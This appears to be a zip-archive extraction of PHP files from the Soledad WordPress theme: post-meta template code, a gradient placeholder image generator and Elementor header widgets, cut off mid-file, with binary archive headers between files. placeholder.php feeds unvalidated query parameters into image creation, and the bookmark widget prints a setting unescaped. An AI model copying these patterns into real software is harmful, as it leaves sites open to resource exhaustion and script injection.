                                    $comments_text = ! $label_text ? ' ' . penci_get_setting( 'penci_trans_comments' ) : '';
                                    ?>
                                    <?php comments_number( '0' . $comments_text, '1' . $comment_text, '%' . $comments_text ); ?></span>
								<?php endif; ?>
								<?php if ( 'yes' != $settings['penci_single_show_cview'] ) : ?>
                                    <span class="pctmp-view-post">
                                    <?php
                                    if ( ! $view_icon_enable && $view_icon ) {
	                                    echo '<span class="pcmt-icon view-icon">';
	                                    \Elementor\Icons_Manager::render_icon( $view_icon );
	                                    echo '</span>';
                                    }
                                    ?>
                                        <i class="penci-post-countview-number"><?php echo penci_get_post_views( get_the_ID() ); ?></i><?php if ( ! $label_text ) {
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
										} ?></span>
								<?php endif; ?>
								<?php if ( penci_isshow_reading_time( $hide_readtime ) ):
									?>
                                    <span class="single-readtime">
                                    <?php
                                    if ( ! $reading_icon_enable && $reading_icon ) {
	                                    echo '<span class="pcmt-icon reading-icon">';
	                                    \Elementor\Icons_Manager::render_icon( $reading_icon );
	                                    echo '</span>';
                                    }
                                    ?>
                                    <?php penci_reading_time(); ?></span>
								<?php endif; ?>
								<?php
								if ( get_the_post_thumbnail_caption() && get_theme_mod( 'penci_post_thumb_caption' ) && ! $move_title_bellow ) {
									echo '<span class="penci-featured-caption penci-fixed-caption penci-caption-relative">' . get_the_post_thumbnail_caption() . '</span>';
								}
								?>
								<?php do_action( 'penci_single_meta_content' ); ?>
                            </div>
						<?php endif; ?>
						<?php
						$recipe_title = get_post_meta( get_the_ID(), 'penci_recipe_title', true );
						if ( has_shortcode( get_the_content(), 'penci_recipe' ) || $recipe_title ) {
							do_action( 'penci_recipes_action_hook' );
						} ?>
                        </div><?php
					}
					echo '</div>';
					if ( ! $move_title_bellow ) {
						echo '</div>';
					}

					if ( get_the_post_thumbnail_caption() && get_theme_mod( 'penci_post_thumb_caption' ) && $move_title_bellow ) {
						echo '<span class="penci-featured-caption penci-fixed-caption">' . get_the_post_thumbnail_caption() . '</span>';
					}
					?>
                </div>
			<?php endif; ?>

		<?php endif;
	}
}
PK     N\%gT    $  inc/template-builder/placeholder.phpnu [        <?php
header( "Content-type: image/png" );

$height = 100;
$width  = 50;

$start = str_pad( dechex( mt_rand( 0, 0xFFFFFF ) ), 6, '0', STR_PAD_LEFT );
$end   = str_pad( dechex( mt_rand( 0, 0xFFFFFF ) ), 6, '0', STR_PAD_LEFT );
if ( isset( $_GET["start"] ) && $_GET["start"] ) {
	$start = $_GET["start"];
}
if ( isset( $_GET["end"] ) && $_GET["end"] ) {
	$end = $_GET["end"];
}
if ( isset( $_GET["w"] ) && $_GET["w"] ) {
	$width = $_GET["w"];
}
if ( isset( $_GET["h"] ) && $_GET["h"] ) {
	$height = $_GET["h"];
}

$start_r = hexdec( substr( $start, 0, 2 ) );
$start_g = hexdec( substr( $start, 2, 2 ) );
$start_b = hexdec( substr( $start, 4, 2 ) );
$end_r   = hexdec( substr( $end, 0, 2 ) );
$end_g   = hexdec( substr( $end, 2, 2 ) );
$end_b   = hexdec( substr( $end, 4, 2 ) );
$image   = @imagecreate( $width, $height );

for ( $y = 0; $y < $height; $y ++ ) {
	for ( $x = 0; $x < $width; $x ++ ) {
		if ( $start_r == $end_r ) {
			$new_r = $start_r;
		}
		$difference = $start_r - $end_r;
		$new_r      = $start_r - intval( ( $difference / $height ) * $y );
		if ( $start_g == $end_g ) {
			$new_g = $start_g;
		}
		$difference = $start_g - $end_g;
		$new_g      = $start_g - intval( ( $difference / $height ) * $y );
		if ( $start_b == $end_b ) {
			$new_b = $start_b;
		}
		$difference = $start_b - $end_b;
		$new_b      = $start_b - intval( ( $difference / $height ) * $y );
		$row_color  = imagecolorresolve( $image, $new_r, $new_g, $new_b );
		imagesetpixel( $image, $x, $y, $row_color );
	}
}

imagepng( $image );
imagedestroy( $image );
PK     N\    1  inc/template-builder/header-elements/wishlist.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciHeaderWishlist extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Header - Wishlist', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-logo';
	}

	public function get_categories() {
		return [ 'penci-header-builder' ];
	}

	public function get_keywords() {
		return [ 'wishlist' ];
	}

	public function get_name() {
		return 'penci-header-wishlist';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_responsive_control( 'btn_size', [
			'label'   => esc_html__( 'Button Size', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SLIDER,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents' => 'width:{{SIZE}}px;height:{{SIZE}}px;line-height:{{SIZE}}px']
		] );

		$this->end_controls_section();

		// style
		$this->start_controls_section( 'content_style', [
			'label' => esc_html__( 'Style', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'btn_heading_01', [
			'label' => esc_html__( 'Compare Icon', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'btn_bgcolor', [
			'label' => esc_html__( 'Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents' => 'background:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_bghvcolor', [
			'label' => esc_html__( 'Background Hover Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents:hover' => 'background:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_txtcolor', [
			'label' => esc_html__( 'Text Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents' => 'color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_txthvcolor', [
			'label' => esc_html__( 'Text Hover Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents:hover' => 'color:{{VALUE}}']
		] );

		$this->add_control( 'btn_bdradius', [
			'label' => esc_html__( 'Border Radius', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::DIMENSIONS,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents' => 'border-radius:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};']
		] );

		$this->add_control( 'btn_bdcolor', [
			'label' => esc_html__( 'Border Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents' => 'border:1px solid {{VALUE}};']
		] );

		$this->add_control( 'btn_bdwidth', [
			'label' => esc_html__( 'Border Width', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::DIMENSIONS,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents' => 'border-width:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};']
		] );

		$this->add_responsive_control( 'btn_iconsize', [
			'label' => esc_html__( 'Icon Size', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SLIDER,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents > i' => 'font-size:{{SIZE}}px;']
		] );

		$this->add_control( 'btn_heading_02', [
			'label' => esc_html__( 'Counter Style', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );
		
		$this->add_control( 'btn_icolor', [
			'label' => esc_html__( 'Icon Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents > span' => 'color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_ihvcolor', [
			'label' => esc_html__( 'Icon Hover Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents:hover > span' => 'color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_ibgcolor', [
			'label' => esc_html__( 'Icon Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents > span' => 'background-color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_ihvbgcolor', [
			'label' => esc_html__( 'Icon Hover Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents > span' => 'background-color:{{VALUE}}']
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'btn_icon_typo',
			'label'    => __( 'Cart Number Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .top-search-classes a.wishlist-contents > span',
		) );


		$this->end_controls_section();

	}

	protected function render() {
		$settings         = $this->get_settings();
		$wishlist_page_id = get_theme_mod( 'penci_woocommerce_wishlist_page' );
		//if ( $wishlist_page_id ) :
			?>
            <div id="top-header-wishlist"
                 class="pc-builder-element pchd-elwishlist penci-builder-elements top-search-classes pcheader-icon wishlist-icon">
                <a class="wishlist-contents"
                   href="<?php echo esc_url( get_page_link( $wishlist_page_id ) ); ?>"
                   title="<?php echo penci_woo_translate_text( 'penci_woo_trans_viewwishlist' ); ?>">

                    <i class="penciicon-heart"></i>
                    <span><?php do_action( 'penci_current_wishlist' ); ?></span>
                </a>
            </div>
		<?php //endif;

	}
}PK     N\2    2  inc/template-builder/header-elements/hamburger.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciHeaderHamburger extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Header - Hamburger Menu', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-logo';
	}

	public function get_categories() {
		return [ 'penci-header-builder' ];
	}

	public function get_keywords() {
		return [ 'bookmark' ];
	}

	public function get_name() {
		return 'penci-header-hamburger';
	}

	protected function register_controls() {

		// style
		$this->start_controls_section( 'content_style', [
			'label' => esc_html__( 'Style', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'btn_notice', [
			'type'    => \Elementor\Controls_Manager::ALERT,
			'alert_type' => 'warning',
			'content'    => __('You can go to "Appearance > Customize > Vertical Navigation & Menu Hamburger" to adjust the sidebar hamburger.','soledad' ),
			'render_type' => 'ui',
		] );
		
		$this->add_responsive_control( 'btn_size', [
			'label'   => esc_html__( 'Menu Size', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SLIDER,
			'selectors'    => ['{{WRAPPER}} .penci-menuhbg-toggle.builder'=>'--pcbd-menuhbg-size:{{SIZE}}px'],
		] );
		
		$this->add_control( 'btn_color', [
			'label'   => esc_html__( 'Menu Color', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::COLOR,
			'selectors'    => ['{{WRAPPER}} .pc-builder-element a.penci-menuhbg-toggle .lines-button:after, {{WRAPPER}} .pc-builder-element a.penci-menuhbg-toggle.builder .penci-lines:before,{{WRAPPER}} .pc-builder-element a.penci-menuhbg-toggle.builder .penci-lines:after'=>'background-color:{{VALUE}}'],
		] );

		$this->add_control( 'btn_hcolor', [
			'label'   => esc_html__( 'Menu Hover Color', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::COLOR,
			'selectors'    => ['{{WRAPPER}} .pc-builder-element a.penci-menuhbg-toggle:hover .lines-button:after, {{WRAPPER}} .pc-builder-element a.penci-menuhbg-toggle.builder:hover .penci-lines:before,{{WRAPPER}} .pc-builder-element a.penci-menuhbg-toggle.builder:hover .penci-lines:after'=>'background-color:{{VALUE}}'],
		] );

		$this->add_responsive_control( 'btn_bwidth', [
			'label'   => esc_html__( 'Border Width', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SLIDER,
			'selectors'    => ['{{WRAPPER}} .penci-menuhbg-toggle.builder'=>'border-width:{{SIZE}}px'],
		] );
		
		$this->add_control( 'btn_bdcolor', [
			'label'   => esc_html__( 'Menu Border Color', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::COLOR,
			'selectors'    => ['{{WRAPPER}} .pc-builder-element a.penci-menuhbg-toggle'=>'border-color:{{VALUE}}'],
		] );

		$this->add_control( 'btn_bdhcolor', [
			'label'   => esc_html__( 'Menu Hover Border Color', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::COLOR,
			'selectors'    => ['{{WRAPPER}} .pc-builder-element a.penci-menuhbg-toggle:hover'=>'border-color:{{VALUE}}'],
		] );
		
		$this->add_control( 'btn_bgcolor', [
			'label'   => esc_html__( 'Menu Background Color', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::COLOR,
			'selectors'    => ['{{WRAPPER}} .pc-builder-element a.penci-menuhbg-toggle'=>'background-color:{{VALUE}}'],
		] );

		$this->add_control( 'btn_bghcolor', [
			'label'   => esc_html__( 'Menu Hover Background Color', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::COLOR,
			'selectors'    => ['{{WRAPPER}} .pc-builder-element a.penci-menuhbg-toggle:hover'=>'background-color:{{VALUE}}'],
		] );


		$this->end_controls_section();

	}

	protected function render() {
		$settings  = $this->get_settings();
		?>
        <div class="pc-builder-element penci-menuhbg-wapper penci-menu-toggle-wapper penci-elhb-hbg">
            <a href="#" aria-label="Open Menu"
               class="penci-menuhbg-toggle builder">
				<span class="penci-menuhbg-inner">
					<i class="lines-button lines-button-double">
						<i class="penci-lines"></i>
					</i>
					<i class="lines-button lines-button-double penci-hover-effect">
						<i class="penci-lines"></i>
					</i>
				</span>
            </a>
        </div>
		<?php
		add_filter( 'theme_mod_penci_menu_hbg_show', function () {
			return true;
		} );
	}
}PK     N\    0  inc/template-builder/header-elements/compare.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciHeaderCompare extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Header - Compare', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-logo';
	}

	public function get_categories() {
		return [ 'penci-header-builder' ];
	}

	public function get_keywords() {
		return [ 'bookmark' ];
	}

	public function get_name() {
		return 'penci-header-compare';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_responsive_control( 'btn_size', [
			'label'   => esc_html__( 'Button Size', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SLIDER,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents' => 'width:{{SIZE}}px;height:{{SIZE}}px;line-height:{{SIZE}}px']
		] );

		$this->end_controls_section();

		// style
		$this->start_controls_section( 'content_style', [
			'label' => esc_html__( 'Style', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'btn_heading_01', [
			'label' => esc_html__( 'Compare Icon', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'btn_bgcolor', [
			'label' => esc_html__( 'Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents' => 'background:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_bghvcolor', [
			'label' => esc_html__( 'Background Hover Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents:hover' => 'background:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_txtcolor', [
			'label' => esc_html__( 'Text Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents' => 'color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_txthvcolor', [
			'label' => esc_html__( 'Text Hover Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents:hover' => 'color:{{VALUE}}']
		] );

		$this->add_control( 'btn_bdradius', [
			'label' => esc_html__( 'Border Radius', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::DIMENSIONS,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents' => 'border-radius:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};']
		] );

		$this->add_control( 'btn_bdcolor', [
			'label' => esc_html__( 'Border Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents' => 'border:1px solid {{VALUE}};']
		] );

		$this->add_control( 'btn_bdwidth', [
			'label' => esc_html__( 'Border Width', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::DIMENSIONS,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents' => 'border-width:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};']
		] );

		$this->add_responsive_control( 'btn_iconsize', [
			'label' => esc_html__( 'Icon Size', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SLIDER,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents > i' => 'font-size:{{SIZE}}px;']
		] );

		$this->add_control( 'btn_heading_02', [
			'label' => esc_html__( 'Counter Style', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );
		
		$this->add_control( 'btn_icolor', [
			'label' => esc_html__( 'Icon Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents > span' => 'color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_ihvcolor', [
			'label' => esc_html__( 'Icon Hover Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents:hover > span' => 'color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_ibgcolor', [
			'label' => esc_html__( 'Icon Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents > span' => 'background-color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_ihvbgcolor', [
			'label' => esc_html__( 'Icon Hover Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents > span' => 'background-color:{{VALUE}}']
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'btn_icon_typo',
			'label'    => __( 'Cart Number Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .top-search-classes a.compare-contents > span',
		) );

		$this->end_controls_section();

	}

	protected function render() {
		$compare_page_id = get_theme_mod( 'penci_woocommerce_compare_page' );
		//if ( $compare_page_id ):
			?>
            <div id="top-header-compare"
                 class="pchd-elcompare top-search-classes penci-builder-elements pcheader-icon compare-icon">
                <a href="<?php echo esc_url( get_page_link( $compare_page_id ) ); ?>"
                   class="compare-contents"
                   title="<?php echo penci_woo_translate_text( 'penci_woo_trans_viewcompare' ); ?>">

                    <i class="penciicon-exchange-2"></i>
                    <span><?php do_action( 'penci_current_compare' ); ?></span>
                </a>
            </div>
		<?php //endif;
	}
}PK     N\U*    5  inc/template-builder/header-elements/dropdownmenu.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciHeaderDropdownmenu extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Header - Dropdown Menu', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-nav-menu';
	}

	public function get_categories() {
		return [ 'penci-header-builder' ];
	}

	public function get_keywords() {
		return [ 'menu', 'dropdown' ];
	}

	public function get_name() {
		return 'penci-header-dropdown-menu';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );


		$menus = $this->get_available_menus();

		if ( ! empty( $menus ) ) {
			$this->add_control(
				'header_menu',
				[
					'label'        => __( 'Menu', 'soledad' ),
					'type'         => \Elementor\Controls_Manager::SELECT,
					'options'      => $menus,
					'default'      => array_keys( $menus )[0],
					'save_default' => true,
					'separator'    => 'after',
					'description'  => sprintf( __( 'Go to the <a href="%s" target="_blank">Menus screen</a> to manage your menus. Please note that: The Footer Nav Menu does not support showing sub-menu items. All sub-menus will be hidden.', 'soledad' ), admin_url( 'nav-menus.php' ) ),
				]
			);
		} else {
			$this->add_control(
				'header_menu',
				[
					'type'            => \Elementor\Controls_Manager::RAW_HTML,
					'raw'             => '<strong>' . __( 'There are no menus in your site.', 'soledad' ) . '</strong><br>' . sprintf( __( 'Go to the <a href="%s" target="_blank">Menus screen</a> to create one.', 'soledad' ), admin_url( 'nav-menus.php?action=edit&menu=0' ) ),
					'separator'       => 'after',
					'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
				]
			);
		}
		
		$this->add_control( 'vernav_click_parent', [
			'label'     => esc_html__( 'Enable click on Parent Menu Item to open Child Menu Items', 'soledad' ),
			'description' => __('By default, you need to click to the arrow on the right side to open child menu items - this option will help you click on the parent menu items to open child menu items','soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->end_controls_section();

		// style
		$this->start_controls_section( 'content_style', [
			'label' => esc_html__( 'Menu Colors & Typo', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'fontsize_lv1',
			'label'    => __( 'Parent Menu Items', 'soledad' ),
			'selector' => '{{WRAPPER}} .pc-builder-menu.pc-dropdown-menu .menu li > a',
		) );
		
		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'fontsize_dropdown',
			'label'    => __( 'Dropdown Menu Items', 'soledad' ),
			'selector' => '{{WRAPPER}} .pc-builder-menu.pc-dropdown-menu .menu li li a',
		) );
		
		$this->add_control(
			'menu_color',
			array(
				'label'      => 'Menu Item Color',
				'type'       => \Elementor\Controls_Manager::COLOR,
				'selectors'  => array(
					'{{WRAPPER}} .pc-builder-menu.pc-dropdown-menu .menu li a' => 'color: {{VALUE}};',
				),
			)
		);
		
		$this->add_control(
			'menu_hcolor',
			array(
				'label'      => 'Menu Item Hover Color',
				'type'       => \Elementor\Controls_Manager::COLOR,
				'selectors'  => array(
					'{{WRAPPER}} .pc-builder-menu.pc-dropdown-menu .menu li a:hover,{{WRAPPER}} .pc-builder-menu.pc-dropdown-menu .menu > li.current_page_item > a' => 'color: {{VALUE}};',
				),
			)
		);
		
		$this->add_control(
			'menu_rcolor',
			array(
				'label'      => 'Current Menu Item Color',
				'type'       => \Elementor\Controls_Manager::COLOR,
				'selectors'  => array(
					'{{WRAPPER}} .pc-builder-menu.pc-dropdown-menu .menu > li.current_page_item > a' => 'color: {{VALUE}};',
				),
			)
		);
		
		$this->add_control(
			'menu_bdcolor',
			array(
				'label'      => 'Menu Item Border Color',
				'type'       => \Elementor\Controls_Manager::COLOR,
				'selectors'  => array(
					'{{WRAPPER}} .pchgbel .menu li,{{WRAPPER}} .pchgbel .menu li ul.sub-menu' => 'border-color: {{VALUE}};',
				),
			)
		);
		
		$this->add_responsive_control(
			'menu_spacing',
			array(
				'label'      => 'Menu Item Spacing',
				'type'       => \Elementor\Controls_Manager::SLIDER,
				'range'      => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors'  => array(
					'{{WRAPPER}} .pchgbel .menu li a' => 'padding-top: {{SIZE}}px;padding-bottom: {{SIZE}}px;',
				),
			)
		);

		$this->end_controls_section();

	}

	private function get_available_menus() {
		$menus = wp_get_nav_menus();

		$options = [];

		foreach ( $menus as $menu ) {
			$options[ $menu->slug ] = $menu->name;
		}

		return $options;
	}

	protected function render() {

		$available_menus = $this->get_available_menus();

		if ( ! $available_menus ) {
			return;
		}

		$settings = $this->get_settings();

		$menu_id      = $settings['header_menu'] ? $settings['header_menu'] : '';
		$parent_click = $settings['vernav_click_parent'];
		$classes      = [];
		$classes[]    = penci_get_builder_mod( 'penci_header_pb_dropdown_menu_class', 'no-class' );
		$classes[]    = $parent_click ? 'penci-vernav-cparent pchb-cparent' : 'normal-click';
		add_filter( 'theme_mod_penci_vernav_click_parent', function ( $value ) use ($parent_click) {
			if ( $parent_click ) {
				$value = true;
			}

			return $value;
		} );
		?>
		<div class="penci-menu-hbg-ele pchgbel">
			<div class="pc-builder-element pc-builder-menu pc-dropdown-menu">
				<nav class="<?php echo implode( ' ', $classes ); ?>" role="navigation"
					<?php if ( ! penci_get_builder_mod( 'penci_schema_sitenav' ) ): ?>itemscope
					itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>
					<?php
					$args = array(
						'container'   => false,
						'menu_class'  => 'menu menu-hgb-main',
						'fallback_cb' => 'penci_menu_fallback',
						'walker'      => new penci_menu_builder_walker_nav_menu()
					);
					if ( $menu_id ) {
						$args['menu'] = $menu_id;
					} else {
						$args['location'] = 'primary-menu';
					}
					wp_nav_menu( $args );
					?>
				</nav>
			</div>
		</div>
		<?php

	}
}PK     N\׫    1  inc/template-builder/header-elements/bookmark.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciHeaderBookmark extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Header - Bookmark', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-logo';
	}

	public function get_categories() {
		return [ 'penci-header-builder' ];
	}

	public function get_keywords() {
		return [ 'bookmark' ];
	}

	public function get_name() {
		return 'penci-header-bookmark';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'btn_text', [
			'label' => esc_html__( 'Button Text', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::TEXT,
		] );

		$this->add_control( 'btn_target', [
			'label'   => esc_html__( 'Link Target', 'soledad' ),
			'default' => '_self',
			'type'    => \Elementor\Controls_Manager::SELECT,
			'options' => [
				'_blank'  => __( 'Blank', 'soledad' ),
				'_self'   => __( 'Self', 'soledad' ),
				'_parent' => __( 'Parent', 'soledad' ),
				'_top'    => __( 'Top', 'soledad' ),
			]
		] );

		$this->end_controls_section();

		// style
		$this->start_controls_section( 'content_style', [
			'label' => esc_html__( 'Style', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'btn_text_color', [
			'label' => esc_html__( 'Button Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .penci-builder-element.top-search-classes a' => 'color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_text_hvcolor', [
			'label' => esc_html__( 'Button Hover Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .penci-builder-element.top-search-classes a:hover' => 'color:{{VALUE}}']
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'btn_text_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-builder-element.top-search-classes a',
		) );

		$this->end_controls_section();

	}

	protected function render() {
		$settings        = $this->get_settings();
		$btn_link_target = $settings['btn_target'];
		$btn_title       = $settings['btn_text'];
		$btn_title = ! empty( $btn_title ) ? $btn_title : '';

		$pages = get_option( 'penci_bl_set_pages' );
		if ( isset( $pages['subscribe_manage_page'] ) && $pages['subscribe_manage_page'] ) {
			echo '<div id="penci-header-bookmark" class="penci-header-bookmark-element penci-builder-element top-search-classes"><a title="' . penci_get_setting( 'penci_trans_bookmark' ) . '" target="' . $btn_link_target . '" href="' . esc_url( get_page_link( $pages['subscribe_manage_page'] ) ) . '">' . penci_icon_by_ver( 'fa fa-bookmark-o' ) . $btn_title . '</a></div>';
		}

	}
}PK     N\G    1  inc/template-builder/header-elements/darkmode.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciHeaderDarkmode extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Header - Dark Mode', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-logo';
	}

	public function get_categories() {
		return [ 'penci-header-builder' ];
	}

	public function get_keywords() {
		return [ 'darkmode' ];
	}

	public function get_name() {
		return 'penci-header-darkmode';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'btn_notice', [
			'type'    => \Elementor\Controls_Manager::ALERT,
			'alert_type' => 'warning',
			'content'    => __( 'Please go to "Appearance > Customize > Dark Mode/Dark Theme": turn on the "Enable Dark Mode Switcher" option before using this feature.', 'soledad' ),
			'render_type' => 'ui',
		] );
		
		$this->add_control( 'btn_style', [
			'label'   => esc_html__( 'Style', 'soledad' ),
			'default' => '3',
			'type'    => \Elementor\Controls_Manager::SELECT,
			'options' => [
				'1' => __( 'Style 1', 'soledad' ),
				'2' => __( 'Style 2', 'soledad' ),
